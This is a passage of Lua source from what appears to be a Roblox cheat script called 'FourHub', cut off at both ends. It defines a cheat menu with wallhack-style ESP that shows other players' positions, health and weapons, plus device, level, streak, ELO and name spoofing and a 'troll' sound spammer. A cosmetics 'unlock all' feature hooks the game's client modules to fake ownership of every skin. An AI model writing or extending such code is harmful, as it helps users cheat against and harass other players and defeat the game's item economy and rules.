false, Callback = function(v) ELI.world.lighting_technology = v; pcall(function() if v then lighting.Technology = Enum.Technology[ELI.world.lighting_technology_mode]; else lighting.Technology = default_technology; end; end); end }); quality_tab:AddToggle('world_global_shadows', { Text = 'global shadows', Default = true, Callback = function(v) ELI.world.global_shadows = v; pcall(function() lighting.GlobalShadows = v; end); end }); quality_tab:AddToggle('world_env_diffuse', { Text = 'environment diffuse', Default = false, Callback = function(v) ELI.world.env_diffuse = v; pcall(function() lighting.EnvironmentDiffuseScale = v and ELI.world.env_diffuse_scale or default_env_diffuse; end); end }); quality_tab:AddSlider('world_env_diffuse_scale', { Text = 'diffuse scale', Default = 1, Min = 0, Max = 1, Rounding = 2, Callback = function(v) ELI.world.env_diffuse_scale = v; if ELI.world.env_diffuse then pcall(function() lighting.EnvironmentDiffuseScale = v; end); end; end }); quality_tab:AddToggle('world_env_specular', { Text = 'environment specular', Default = false, Callback = function(v) ELI.world.env_specular = v; pcall(function() lighting.EnvironmentSpecularScale = v and ELI.world.env_specular_scale or default_env_specular; end); end }); quality_tab:AddSlider('world_env_specular_scale', { Text = 'specular scale', Default = 1, Min = 0, Max = 1, Rounding = 2, Callback = function(v) ELI.world.env_specular_scale = v; if ELI.world.env_specular then pcall(function() lighting.EnvironmentSpecularScale = v; end); end; end }); quality_tab:AddToggle('world_outdoor_ambient', { Text = 'outdoor ambient', Default = false, Callback = function(v) ELI.world.outdoor_ambient = v; pcall(function() lighting.OutdoorAmbient = v and ELI.world.outdoor_ambient_color or default_outdoor_ambient; end); end }):AddColorPicker('world_outdoor_ambient_color', { Default = Color3.fromRGB(70, 70, 70), Callback = function(v) ELI.world.outdoor_ambient_color = v; if ELI.world.outdoor_ambient then pcall(function() lighting.OutdoorAmbient = v; end); end; end }); end; local camera_tab = world_tab:AddRightGroupbox('camera'); do local keybind_third_person_enable = false; camera_tab:AddToggle('third_person_enable', { Text = 'third person', Default = false, Callback = function(v) keybind_third_person_enable = v; ELI.third_person.enable = v; camera_controller:SetThirdPersonOverride(v); end; }):AddKeyPicker('third_person_keybind', { Default = '...', Text = 'third person', NoUI = false, EnableCheck = function() return ELI.third_person.enable; end, Callback = function(v) ELI.third_person.enable = keybind_third_person_enable and v or false; camera_controller:SetThirdPersonOverride(ELI.third_person.enable); end; }); local old_camera_stretched_res = camera.CFrame; camera_tab:AddToggle('stretched_res_enable', { Text = 'stretched res', Default = false, Callback = function(v) ELI.stretched_res.enable = v; if not v then camera.CFrame = old_camera_stretched_res; end; end; }); camera_tab:AddSlider('stretched_res_amount', { Text = 'amount', Default = 0.20, Min = 0.1, Max = 1, Rounding = 2, Callback = function(v) ELI.stretched_res.stretched_res_amount = v; end; }); local old_camera_fov = camera.FieldOfView; camera_tab:AddToggle('fov_changer_enable', { Text = 'fov changer', Default = false, Callback = function(v) ELI.fov_changer.enable = v; if not v then camera.FieldOfView = old_camera_fov; end; end; }); camera_tab:AddSlider('fov_changer_fov', { Text = 'fov', Default = 80, Min = 10, Max = 140, Rounding = 2, Callback = function(v) ELI.fov_changer.fov = v; end; }); end; local esp_tab = Tabs.esptab; do local esp_groupbox = esp_tab:AddLeftGroupbox('esp'); do esp_groupbox:AddToggle('esp_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.esp.enable = v; end }); esp_groupbox:AddToggle('esp_team_check', { Text = 'team check', Default = true, Callback = function(v) ELI.esp.team_check = v; end }); esp_groupbox:AddToggle('esp_box_enable', { Text = 'box', Default = false, Callback = function(v) ELI.esp.box.enable = v; Options.esp_box_thickness:SetVisible(v); Toggles.esp_glow_enable:SetVisible(v); end }):AddColorPicker('esp_box_color', { Title = 'box color', Default = Color3.new(1, 1, 1), Callback = function(v) ELI.esp.box.color = v; end }):AddColorPicker('esp_box_outline_color', { Title = 'outline color', Default = Color3.new(0, 0, 0), Callback = function(v) ELI.esp.box.outline = v; end }):AddColorPicker('esp_box_inline_color', { Title = 'inline color', Default = Color3.new(0, 0, 0), Callback = function(v) ELI.esp.box.inline = v; end }); esp_groupbox:AddToggle('esp_glow_enable', { Text = 'glow box', Default = false, Visible = false, Callback = function(v) ELI.esp.glow.enable = v; Options.esp_glow_transparency:SetVisible(v); end }):AddColorPicker('esp_glow_color_start', { Title = 'glow start', Default = Color3.new(1, 1, 1), Callback = function(v) ELI.esp.glow.color_start = v; end }):AddColorPicker('esp_glow_color_end', { Title = 'glow end', Default = Color3.new(1, 1, 1), Callback = function(v) ELI.esp.glow.color_end = v; end }); esp_groupbox:AddSlider('esp_glow_transparency', { Text = 'glow transparency', Default = 1, Min = 0, Max = 1, Rounding = 2, Visible = false, Callback = function(v) ELI.esp.glow.transparency = v; end }); esp_groupbox:AddSlider('esp_box_thickness', { Text = 'box thickness', Default = 1, Min = 1, Max = 5, Rounding = 0, Visible = false, Callback = function(v) ELI.esp.box.thickness = v; end }); esp_groupbox:AddToggle('esp_name_enable', { Text = 'name', Default = false, Callback = function(v) ELI.esp.text.name.enable = v; end }):AddColorPicker('esp_name_color', { Title = 'name color', Default = Color3.new(1, 1, 1), Callback = function(v) ELI.esp.text.name.color = v; end }); esp_groupbox:AddToggle('esp_studs_enable', { Text = 'distance', Default = false, Callback = function(v) ELI.esp.text.studs.enable = v; end }):AddColorPicker('esp_studs_color', { Title = 'distance color', Default = Color3.new(1, 1, 1), Callback = function(v) ELI.esp.text.studs.color = v; end }); esp_groupbox:AddToggle('esp_tool_enable', { Text = 'weapon', Default = false, Callback = function(v) ELI.esp.text.tool.enable = v; end }):AddColorPicker('esp_tool_color', { Title = 'weapon color', Default = Color3.new(1, 1, 1), Callback = function(v) ELI.esp.text.tool.color = v; end }); esp_groupbox:AddDropdown('esp_tool_position', { Text = 'weapon position', Default = 'right', Values = { 'top', 'bottom', 'right' }, Callback = function(v) ELI.esp.text.tool.position = v; end }); esp_groupbox:AddToggle('esp_filled_enable', { Text = 'filled', Default = false, Callback = function(v) ELI.esp.filled.enable = v; Options.esp_filled_transparency:SetVisible(v); end }):AddColorPicker('esp_filled_color_start', { Title = 'fill start', Default = Color3.new(1, 1, 1), Callback = function(v) ELI.esp.filled.color_start = v; end }):AddColorPicker('esp_filled_color_end', { Title = 'fill end', Default = Color3.new(1, 1, 1), Callback = function(v) ELI.esp.filled.color_end = v; end }); esp_groupbox:AddToggle('esp_filled_hitflash', { Text = 'hit flash', Default = false, Callback = function(v) ELI.esp.filled.hit_flash = v; end }):AddColorPicker('esp_filled_hitcolor', { Title = 'hit color', Default = Color3.fromRGB(255, 40, 40), Callback = function(v) ELI.esp.filled.hit_color = v; end }); esp_groupbox:AddToggle('esp_visible_enable', { Text = 'visible color', Default = false, Callback = function(v) ELI.esp.visible.enable = v; end }):AddColorPicker('esp_visible_color', { Title = 'visible color', Default = Color3.fromRGB(60, 255, 90), Callback = function(v) ELI.esp.visible.color = v; end }); esp_groupbox:AddToggle('esp_highlight_enable', { Text = 'highlight', Default = false, Callback = function(v) ELI.esp.highlight.enable = v; end }):AddColorPicker('esp_highlight_fill', { Title = 'fill color', Default = Color3.fromRGB(0, 30, 255), Callback = function(v) ELI.esp.highlight.fill_color = v; end }):AddColorPicker('esp_highlight_outline', { Title = 'outline color', Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.esp.highlight.outline_color = v; end }); esp_groupbox:AddSlider('esp_highlight_fill_transparency', { Text = 'highlight fill transparency', Default = 0.55, Min = 0, Max = 1, Rounding = 2, Callback = function(v) ELI.esp.highlight.fill_transparency = v; end }); esp_groupbox:AddSlider('esp_highlight_outline_transparency', { Text = 'highlight outline transparency', Default = 0, Min = 0, Max = 1, Rounding = 2, Callback = function(v) ELI.esp.highlight.outline_transparency = v; end }); esp_groupbox:AddSlider('esp_filled_transparency', { Text = 'fill transparency', Default = 0.75, Min = 0, Max = 1, Rounding = 2, Visible = false, Callback = function(v) ELI.esp.filled.transparency = v; end }); esp_groupbox:AddToggle('esp_filled_animated', { Text = 'animated fill', Default = false, Callback = function(v) ELI.esp.filled.animated = v; Options.esp_filled_rotation:SetVisible(v); Options.esp_filled_speed:SetVisible(v); end }); esp_groupbox:AddSlider('esp_filled_rotation', { Text = 'fill rotation', Default = 90, Min = 0, Max = 360, Rounding = 0, Visible = false, Callback = function(v) ELI.esp.filled.rotation = v; end }); esp_groupbox:AddSlider('esp_filled_speed', { Text = 'fill speed', Default = 2, Min = 0, Max = 10, Rounding = 1, Visible = false, Callback = function(v) ELI.esp.filled.speed = v; end }); esp_groupbox:AddToggle('esp_health_enable', { Text = 'health bar', Default = false, Callback = function(v) ELI.esp.health.enable = v; Options.esp_health_width:SetVisible(v); Options.esp_health_gap:SetVisible(v); end }):AddColorPicker('esp_health_color_high', { Title = 'health top', Default = Color3.fromRGB(0, 255, 0), Callback = function(v) ELI.esp.health.color_high = v; end }):AddColorPicker('esp_health_color_mid', { Title = 'health mid', Default = Color3.fromRGB(255, 255, 0), Callback = function(v) ELI.esp.health.color_mid = v; end }):AddColorPicker('esp_health_color_low', { Title = 'health bot', Default = Color3.fromRGB(255, 0, 0), Callback = function(v) ELI.esp.health.color_low = v; end }); esp_groupbox:AddSlider('esp_health_width', { Text = 'bar width', Default = 3, Min = 1, Max = 10, Rounding = 0, Visible = false, Callback = function(v) ELI.esp.health.width = v; end }); esp_groupbox:AddSlider('esp_health_gap', { Text = 'bar gap', Default = 5, Min = 1, Max = 20, Rounding = 0, Visible = false, Callback = function(v) ELI.esp.health.gap = v; end }); esp_groupbox:AddSlider('esp_text_size', { Text = 'text size', Default = 9, Min = 6, Max = 16, Rounding = 0, Callback = function(v) ELI.esp.text.size = v; end }); esp_groupbox:AddToggle('esp_text_gradient', { Text = 'gradient text', Default = false, Callback = function(v) ELI.esp.text.gradient = v; end }):AddColorPicker('esp_text_gradient_color1', { Default = Color3.fromRGB(0, 30, 255), Title = 'color 1', Callback = function(v) ELI.esp.text.gradient_color1 = v; end }):AddColorPicker('esp_text_gradient_color2', { Default = Color3.fromRGB(255, 255, 255), Title = 'color 2', Callback = function(v) ELI.esp.text.gradient_color2 = v; end }); esp_groupbox:AddToggle('esp_text_flow', { Text = 'flow animation', Default = false, Callback = function(v) ELI.esp.text.flow = v; end }); esp_groupbox:AddSlider('esp_text_flow_speed', { Text = 'flow speed', Default = 1, Min = 0.1, Max = 5, Rounding = 1, Callback = function(v) ELI.esp.text.flow_speed = v; end }); esp_groupbox:AddSlider('esp_max_dist', { Text = 'max distance', Default = 25000, Min = 100, Max = 25000, Rounding = 0, Suffix = 'studs', Callback = function(v) ELI.esp.max_dist = v; end }); end; end; local esp_throwable_tab = Tabs.esptab:AddRightGroupbox('throwable esp'); do esp_throwable_tab:AddToggle('thrower_esp_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.thrower_esp.enable = v; Options.thrower_esp_select:SetVisible(v); Options.thrower_esp_font:SetVisible(v); Toggles.thrower_esp_name:SetVisible(v); Toggles.thrower_esp_distance:SetVisible(v); Toggles.thrower_esp_image:SetVisible(v); end; }); esp_throwable_tab:AddToggle('thrower_esp_name', { Text = 'name', Default = false, Visible = false, Callback = function(v) ELI.thrower_esp.name = v; Options.thrower_esp_name_size:SetVisible(v); end; }):AddColorPicker('thrower_esp_name_color', { Title = 'name color', Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.thrower_esp.name_color = v; end; }); esp_throwable_tab:AddSlider('thrower_esp_name_size', { Text = 'name size', Default = 14, Min = 6, Max = 32, Rounding = 0, Visible = false, Callback = function(v) ELI.thrower_esp.name_size = v; end; }); esp_throwable_tab:AddToggle('thrower_esp_distance', { Text = 'distance', Default = false, Visible = false, Callback = function(v) ELI.thrower_esp.distance = v; Options.thrower_esp_distance_size:SetVisible(v); end; }):AddColorPicker('thrower_esp_distance_color', { Title = 'distance color', Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.thrower_esp.distance_color = v; end; }); esp_throwable_tab:AddSlider('thrower_esp_distance_size', { Text = 'distance size', Default = 12, Min = 6, Max = 32, Rounding = 0, Visible = false, Callback = function(v) ELI.thrower_esp.distance_size = v; end; }); esp_throwable_tab:AddToggle('thrower_esp_image', { Text = 'image', Default = false, Visible = false, Callback = function(v) ELI.thrower_esp.image = v; end; }); esp_throwable_tab:AddDropdown('thrower_esp_select', { Text = 'throwable whitelist', Values = { 'Grenade', 'Flashbang', 'Molotov', 'Satchel', 'Smoke Grenade', 'Subspace Tripmine' }, Default = {}, Multi = true, Visible = false, Callback = function(v) ELI.thrower_esp.thrower_select = v; end; }); esp_throwable_tab:AddDropdown('thrower_esp_font', { Text = 'font', Values = font_indexes, Default = 'ProggyTiny', Visible = false, Callback = function(v) ELI.thrower_esp.font = v; for _, obj in next, thrower do obj.name:Destroy(); obj.dist:Destroy(); obj.icon:Destroy(); end; table.clear(thrower); end; }); end; local misc_tab = Tabs.misc_tab; do local auto_tabbox = Tabs.misc_tab:AddRightTabbox(); do local auto_vote_map = auto_tabbox:AddTab('auto vote map'); do auto_vote_map:AddToggle('auto_vote_map_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.auto_vote_map.enable = v; end; }); auto_vote_map:AddDropdown('auto_vote_map', { Values = {"Arena", "Big Graveyard", "Docks", "Splash", "Bridge", "Crossroads", "Big Crossroads", "Big Backrooms", "Battleground", "Big Arena", "Construction", "Playground", "Onyx", "Graveyard", "Big Splash", "Big Onyx", "Backrooms", "Station", "Dimension",}, Default = "", Multi = false, Text = 'map', Callback = function(v) ELI.auto_vote_map.map = v; end; }); end; end; local troll_tab = Tabs.misc_tab:AddLeftTabbox(); do local device_spoof_tab = troll_tab:AddTab('device spoof'); do device_spoof_tab:AddToggle('device_spoof_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.device_spoof.enable = v; end; }); device_spoof_tab:AddDropdown('device_spoof_type', { Values = {'Touch', 'MouseKeyboard', 'Gamepad', 'VR'}, Default = 2, Multi = false, Text = 'type', Callback = function(v) ELI.device_spoof.type = v; end; }); end; local sound_spammer_tab = troll_tab:AddTab('sound spammer'); do sound_spammer_tab:AddToggle('sound_spammer_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.sound_spammer.enable = v; end; }); sound_spammer_tab:AddDropdown('sound_spammer_type', { Values = {'DoubleJump', 'Slide'}, Default = 1, Multi = false, Text = 'sound type', Callback = function(v) ELI.sound_spammer.type = v; end; }); end; end; local spooftabthing = Tabs.misc_tab:AddRightTabbox(); do local streak_spoof = spooftabthing:AddTab('streak'); streak_spoof:AddToggle('streak_spoof_enable', { Text = 'spoof', Default = false, Callback = function(v) ELI.spoof.streak.enable = v; if not v then local_player:SetAttribute("StatisticDuelsWinStreak", spoof_old.streak); end; end; }); streak_spoof:AddInput('streak_spoof_text', { Default = '9', Numeric = true, Text = 'spoof', Callback = function(v) local n = tonumber(v); if n then ELI.spoof.streak.value = n; end; end }); local level_spoof = spooftabthing:AddTab('level'); level_spoof:AddToggle('level_spoof_enable', { Text = 'spoof', Default = false, Callback = function(v) ELI.spoof.level.enable = v; if not v then local_player:SetAttribute("Level", spoof_old.level); end; end; }); level_spoof:AddInput('level_spoof_text', { Default = '9', Numeric = true, Text = 'spoof', Callback = function(v) local n = tonumber(v); if n then ELI.spoof.level.value = n; end; end }); local rank_spoof = spooftabthing:AddTab('rank'); rank_spoof:AddToggle('rank_spoof_enable', { Text = 'spoof (not working)'; Default = false; Callback = function(v) ELI.rank_spoof.enable = v; end; }); rank_spoof:AddDropdown('rank_spoof_value', { Values = { 'Bronze', 'Silver', 'Gold', 'Diamond', 'Onyx', 'Nemesis', 'Arch Nemesis' }; Default = 7; Multi = false; Text = 'rank'; Callback = function(v) ELI.rank_spoof.rank = v; end; }); local elo_spoof = spooftabthing:AddTab('elo'); elo_spoof:AddToggle('elo_spoof_enable', { Text = 'spoof (not working)'; Default = false; Callback = function(v) ELI.elo_spoof.enable = v; if not v then pcall(function() local_player:SetAttribute("DisplayELO", spoof_old.elo); end); end; end; }); elo_spoof:AddInput('elo_spoof_text', { Default = '60000'; Numeric = true; Text = 'spoof'; Callback = function(v) local n = tonumber(v); if n then ELI.elo_spoof.value = n; end; end; }); local name_spoof = spooftabthing:AddTab('name'); name_spoof:AddToggle('name_spoof_enable', { Text = 'spoof'; Default = false; Callback = function(v) ELI.name_spoof.enable = v; end; }); name_spoof:AddInput('name_spoof_display', { Default = ''; Text = 'display name'; Placeholder = 'display name'; Callback = function(v) ELI.name_spoof.display = v or ""; end; }); name_spoof:AddInput('name_spoof_username', { Default = ''; Text = 'username'; Placeholder = 'username'; Callback = function(v) ELI.name_spoof.username = v or ""; end; }); end; local utility_tab = Tabs.misc_tab:AddLeftTabbox(); do local auto_loadout_tab = utility_tab:AddTab('auto loadout'); do auto_loadout_tab:AddToggle('auto_loadout_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.auto_loadout.enable = v; end; }); local ascending_classes = {'Primary', 'Secondary', 'Melee', 'Utility'}; for i = 1, #ascending_classes do local class = ascending_classes[i]; local items = sorted_item_list[class] or {}; local slot = class_dir[class:lower()]; auto_loadout_tab:AddDropdown('auto_loadout_class_' .. class:lower(), { Values = items, Default = ELI.auto_loadout.loadout[slot], Multi = false, Text = class:lower(), Callback = function(v) ELI.auto_loadout.loadout[slot] = v; end; }); end; end; local auto_queue_tab = utility_tab:AddTab('auto queue'); do auto_queue_tab:AddToggle('auto_queue_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.auto_queue.enable = v; if not v then clickedontheremote = false; was_i_in_a_match = false; end; end; }); auto_queue_tab:AddDropdown('auto_queue_mode', { Values = {"1v1", "2v2", "3v3", "4v4", "5v5", "2v2_beginner",}, Default = "", Multi = false, Text = 'queue mode', Callback = function(v) ELI.auto_queue.queue_mode = v; end; }); end; end; local arcade_server_tab = Tabs.misc_tab:AddRightGroupbox('arcade server'); do arcade_server_tab:AddToggle('grab_drops_enable', { Text = 'grab drops', Default = false, Callback = function(v) ELI.arcade_server.grab_drops = v; end; }); arcade_server_tab:AddToggle('auto_respawn_enable', { Text = 'auto respawn', Default = false, Callback = function(v) ELI.arcade_server.auto_respawn = v; end; }); end; end do local v555 = Tabs.misc_tab:AddRightGroupbox('cosmetics'); local unlockAllInitialized = false; getgenv().FourHub_cosmetic_state = getgenv().FourHub_cosmetic_state or { gui = nil, frame = nil, inner = nil, panel = nil, selectedWeapon = nil, selectedType = "Skin", anyModel = false, dismissedThisSession = true, }; v555:AddToggle("AnySkinMode", { Text = "any skin", Default = getgenv().FourHub_cosmetic_state.anyModel or false, Callback = function(val) getgenv().FourHub_cosmetic_state.anyModel = val and true or false; local st = getgenv().FourHub_cosmetic_state; if st and st.refreshCosmetics then st.refreshCosmetics(); end; end }); local function syncCosmeticChangerVisibility() local st = getgenv().FourHub_cosmetic_state; if not st or not st.frame or not st.frame.Parent then return end; if not unlockAllInitialized then return end; local menuOpen = false; pcall(function() menuOpen = Library.MenuOpen; end); if not menuOpen then st.frame.Visible = false; return end; st.frame.Visible = not st.dismissedThisSession; end; getgenv().syncCosmeticChangerVisibility = syncCosmeticChangerVisibility; local function openCosmeticChanger(showUi) if showUi == nil then showUi = true end; if unlockAllInitialized then if showUi then local st = getgenv().FourHub_cosmetic_state; if st then st.dismissedThisSession = false; end; syncCosmeticChangerVisibility(); end; return end; unlockAllInitialized = true; local replicated_storage = game:GetService("ReplicatedStorage"); local local_player = game:GetService("Players").LocalPlayer; local enum_library = require(replicated_storage.Modules.EnumLibrary); local cosmetic_lib = require(replicated_storage.Modules.CosmeticLibrary); local data_ctrl = require(local_player.PlayerScripts.Controllers.PlayerDataController); local rep_class = require(replicated_storage.Modules.ReplicatedClass); local item_library = require(replicated_storage.Modules.ItemLibrary); local equip_remote = replicated_storage.Remotes.Data.EquipCosmetic; local fav_remote = replicated_storage.Remotes.Data.FavoriteCosmetic; local equipped = {}; local favorites = {}; local current_weapon = nil; local viewing_profile = nil; local enabled = true; local unlockAllActive = false; local cosmeticNorm = function(s) if type(s) ~= "string" then return ""; end; return s:lower():gsub("[%s%-%_]+", ""); end; local resolveEquippedWeaponName = function(weaponName, weapon_data) if not weaponName then return nil; end; if equipped[weaponName] then return weaponName; end; if weapon_data then for _, key in eli_ipairs({weapon_data.Name, weapon_data.Weapon, weapon_data.WeaponName}) do if key and equipped[key] then return key; end; end; end; local norm = cosmeticNorm(weaponName); if norm ~= "" then for key in eli_pairs(equipped) do if cosmeticNorm(key) == norm then return key; end; end; end; return nil; end; local clone_cosmetic = function(cosmetic_name, cosmetic_type, opts) local base = cosmetic_lib.Cosmetics[cosmetic_name]; if not base then return nil end; local new_data = table.clone(base); new_data.Name = cosmetic_name; new_data.Type = new_data.Type or cosmetic_type; local ok, enum_val = pcall(enum_library.ToEnum, enum_library, cosmetic_name); if ok and enum_val then new_data.Enum = enum_val; new_data.ObjectID = new_data.ObjectID or enum_val; end; if opts and opts.inverted ~= nil then new_data.Inverted = opts.inverted; end; return new_data; end; local SKINS_FOLDER = "FourHub_skins"; local SKINS_FILE = SKINS_FOLDER .. "/skins.json"; local http_service = game:GetService("HttpService"); local has_fs = isfolder and makefolder and writefile and readfile and isfile; local function ensureSkinsFolder() if not has_fs then return false end; local ok = pcall(function() if not isfolder(SKINS_FOLDER) then makefolder(SKINS_FOLDER) end; end); return ok; end; local save_pending = false; local function saveSkins() if not has_fs then return end; if save_pending then return end; save_pending = true; task.delay(0.15, function() save_pending = false; ensureSkinsFolder(); local data = { equipped = {}, favorites = {} }; for weapon, types in eli_pairs(equipped) do data.equipped[weapon] = {}; for ctype, cdata in eli_pairs(types) do data.equipped[weapon][ctype] = { name = cdata.Name, inverted = cdata.Inverted, }; end; end; for weapon, favs in eli_pairs(favorites) do data.favorites[weapon] = {}; for cname, isFav in eli_pairs(favs) do data.favorites[weapon][cname] = isFav and true or nil; end; if not next(data.favorites[weapon]) then data.favorites[weapon] = nil; end; end; local ok, json = pcall(function() return http_service:JSONEncode(data) end); if ok and json then pcall(writefile, SKINS_FILE, json); end; end); end; local function loadSkins() if not has_fs then return end; if not isfile(SKINS_FILE) then return end; local ok, content = pcall(readfile, SKINS_FILE); if not ok or not content or content == "" then return end; local ok2, data = pcall(function() return http_service:JSONDecode(content) end); if not ok2 or type(data) ~= "table" then return end; if type(data.equipped) == "table" then for weapon, types in eli_pairs(data.equipped) do if type(types) == "table" then equipped[weapon] = equipped[weapon] or {}; for ctype, ref in eli_pairs(types) do if type(ref) == "table" and ref.name then local cdata = clone_cosmetic(ref.name, ctype, { inverted = ref.inverted }); if cdata then equipped[weapon][ctype] = cdata; end; end; end; if not next(equipped[weapon]) then equipped[weapon] = nil; end; end; end; end; if type(data.favorites) == "table" then for weapon, favs in eli_pairs(data.favorites) do if type(favs) == "table" then favorites[weapon] = favorites[weapon] or {}; for cname, isFav in eli_pairs(favs) do favorites[weapon][cname] = isFav and true or nil; end; end; end; end; end; local old = data_ctrl.Get; data_ctrl.Get = function(self, data_key) local original = old(self, data_key); if not enabled then return original end; if data_key == "CosmeticInventory" then if not unlockAllActive then return original; end; local inv = original and table.clone(original) or {}; for cosmetic_name, cosmetic_data in eli_pairs(cosmetic_lib.Cosmetics) do if inv[cosmetic_name] == nil and not cosmetic_name:find("MISSING_") and cosmetic_data.Type ~= "Finisher" then inv[cosmetic_name] = true; end; end; return inv; end; if data_key == "FavoritedCosmetics" then local fav = original and table.clone(original) or {}; for weapon_name, weapon_favs in eli_pairs(favorites) do fav[weapon_name] = fav[weapon_name] or {}; for cosmetic_name, is_fav in eli_pairs(weapon_favs) do fav[weapon_name][cosmetic_name] = is_fav; end; end; return fav; end; return original; end; local old = data_ctrl.GetWeaponData; data_ctrl.GetWeaponData = function(self, weapon_name) local weapon_data = old(self, weapon_name); if not weapon_data then return nil end; local final = table.clone(weapon_data); final.Name = weapon_name; if enabled then local equipped_name = resolveEquippedWeaponName(weapon_name, weapon_data); if equipped_name and equipped[equipped_name] then for cosmetic_type, cosmetic_data in eli_pairs(equipped[equipped_name]) do final[cosmetic_type] = cosmetic_data; end; end; end; return final; end; local client_item_module = require(local_player.PlayerScripts.Modules.ClientReplicatedClasses.ClientFighter.ClientItem); if client_item_module and client_item_module._CreateViewModel then local old = client_item_module._CreateViewModel; client_item_module._CreateViewModel = function(self, vm_ref) local weapon_name = self.Name; local weapon_owner = self.ClientFighter and self.ClientFighter.Player; current_weapon = (weapon_owner == local_player) and weapon_name or nil; local equipped_name = resolveEquippedWeaponName(weapon_name); if enabled and weapon_owner == local_player and equipped_name and equipped[equipped_name] and equipped[equipped_name].Skin and vm_ref then local data_key = self:ToEnum("Data"); local skin_key = self:ToEnum("Skin"); local name_key = self:ToEnum("Name"); if vm_ref[data_key] then vm_ref[data_key][skin_key] = equipped[equipped_name].Skin; vm_ref[data_key][name_key] = equipped[equipped_name].Skin.Name; elseif vm_ref.Data then vm_ref.Data.Skin = equipped[equipped_name].Skin; vm_ref.Data.Name = equipped[equipped_name].Skin.Name; end; end; local result = old(self, vm_ref); current_weapon = nil; return result; end; end; local vm_module_path = local_player.PlayerScripts.Modules.ClientReplicatedClasses.ClientFighter.ClientItem:FindFirstChild("ClientViewModel"); if vm_module_path then local client_vm = require(vm_module_path); if client_vm.GetWrap then local old = client_vm.GetWrap; client_vm.GetWrap = function(self) local weapon_name = self.ClientItem and self.ClientItem.Name; local weapon_owner = self.ClientItem and self.ClientItem.ClientFighter and self.ClientItem.ClientFighter.Player; local equipped_name = resolveEquippedWeaponName(weapon_name); if enabled and weapon_name and weapon_owner == local_player and equipped_name and equipped[equipped_name] and equipped[equipped_name].Wrap then return equipped[equipped_name].Wrap; end; return old(self); end; end; local old = client_vm.new; client_vm.new = function(rep_data, client_item) local weapon_owner = client_item.ClientFighter and client_item.ClientFighter.Player; local weapon_name = current_weapon or client_item.Name; local equipped_name = resolveEquippedWeaponName(weapon_name); if enabled and weapon_owner == local_player and equipped_name and equipped[equipped_name] then local data_key = rep_class:ToEnum("Data"); rep_data[data_key] = rep_data[data_key] or {}; local eq = equipped[equipped_name]; if eq.Skin then rep_data[data_key][rep_class:ToEnum("Skin")] = eq.Skin end; if eq.Wrap then rep_data[data_key][rep_class:ToEnum("Wrap")] = eq.Wrap end; if eq.Charm then rep_data[data_key][rep_class:ToEnum("Charm")] = eq.Charm end; end; local vm_obj = old(rep_data, client_item); if enabled and weapon_owner == local_player and equipped_name and equipped[equipped_name] and equipped[equipped_name].Wrap and vm_obj._UpdateWrap then vm_obj:_UpdateWrap(); task.delay(0.1, function() if not vm_obj._destroyed then vm_obj:_UpdateWrap() end; end); end; return vm_obj; end; end; local function resolveEquippedSkinImage(selfObj, weapon_data, high_res) if not weapon_data or not enabled then return nil end; local weapon_name = weapon_data.Name; local equipped_name = resolveEquippedWeaponName(weapon_name, weapon_data); if not (weapon_name and equipped_name and equipped[equipped_name] and equipped[equipped_name].Skin) then return nil; end; local skinName = equipped[equipped_name].Skin.Name; if not skinName then return nil end; local should_show = (weapon_data.Skin and weapon_data.Skin == equipped[equipped_name].Skin) or (viewing_profile == local_player) or (weapon_data.Weapon and weapon_data.Weapon == equipped_name) or (weapon_data.WeaponName and weapon_data.WeaponName == equipped_name) or (cosmeticNorm(weapon_data.Name) == cosmeticNorm(equipped_name)); if not should_show then return nil end; local viewModels = selfObj and selfObj.ViewModels; local skin_info = viewModels and viewModels[skinName]; if not skin_info then return nil end; return skin_info[high_res and "ImageHighResolution" or "Image"] or skin_info.Image; end; local old = item_library.GetViewModelImageFromWeaponData; item_library.GetViewModelImageFromWeaponData = function(self, weapon_data, high_res) local forced = resolveEquippedSkinImage(self, weapon_data, high_res); if forced then return forced end; return old(self, weapon_data, high_res); end; if item_library.GetImageFromWeaponData then local oldImg = item_library.GetImageFromWeaponData; item_library.GetImageFromWeaponData = function(self, weapon_data, high_res) local forced = resolveEquippedSkinImage(self, weapon_data, high_res); if forced then return forced end; return oldImg(self, weapon_data, high_res); end; end; if item_library.GetWeaponImageFromWeaponData then local oldWeaponImg = item_library.GetWeaponImageFromWeaponData; item_library.GetWeaponImageFromWeaponData = function(self, weapon_data, high_res) local forced = resolveEquippedSkinImage(self, weapon_data, high_res); if forced then return forced end; return oldWeaponImg(self, weapon_data, high_res); end; end; local view_profile = require(local_player.PlayerScripts.Modules.Pages.ViewProfile); if view_profile and view_profile.Fetch then local old = view_profile.Fetch; view_profile.Fetch = function(self, target_player) viewing_profile = target_player; return old(self, target_player); end; end; loadSkins(); data_ctrl.CurrentData:Replicate("CosmeticInventory"); data_ctrl.CurrentData:Replicate("WeaponInventory"); data_ctrl.CurrentData:Replicate("FavoritedCosmetics"); local uiState = getgenv().FourHub_cosmetic_state; local function makeThemeColor(which, fallback) if Library and Library[which] then return Library[which] end; return fallback; end; local uiFont = (Library and Library.Font) or Enum.Font.Code; local coreGui = game:GetService("CoreGui"); local rs = game:GetService("RunService"); local function destroyOld() if uiState.gui then pcall(function() uiState.gui:Destroy() end); end; uiState.gui = nil; uiState.frame = nil; uiState.inner = nil; uiState.panel = nil; end; destroyOld(); local gui = Instance.new("ScreenGui"); gui.Name = "FourHub_cosmetic_changer"; gui.ResetOnSpawn = false; gui.ZIndexBehavior = Enum.ZIndexBehavior.Global; gui.Parent = coreGui; local viewport = (workspace.CurrentCamera and workspace.CurrentCamera.ViewportSize) or Vector2.new(1280, 720); local outer = Instance.new("Frame"); outer.Name = "CosmeticChangerOuter"; outer.AnchorPoint = Vector2.new(0.5, 0.5); outer.Size = UDim2.fromOffset(math.clamp(math.floor(viewport.X * 0.86), 320, 700), math.clamp(math.floor(viewport.Y * 0.82), 300, 500)); outer.Position = UDim2.fromScale(0.5, 0.5); outer.BorderSizePixel = 0; outer.BackgroundColor3 = Color3.new(0, 0, 0); outer.Parent = gui; outer.Active = true; outer.Draggable = true; local 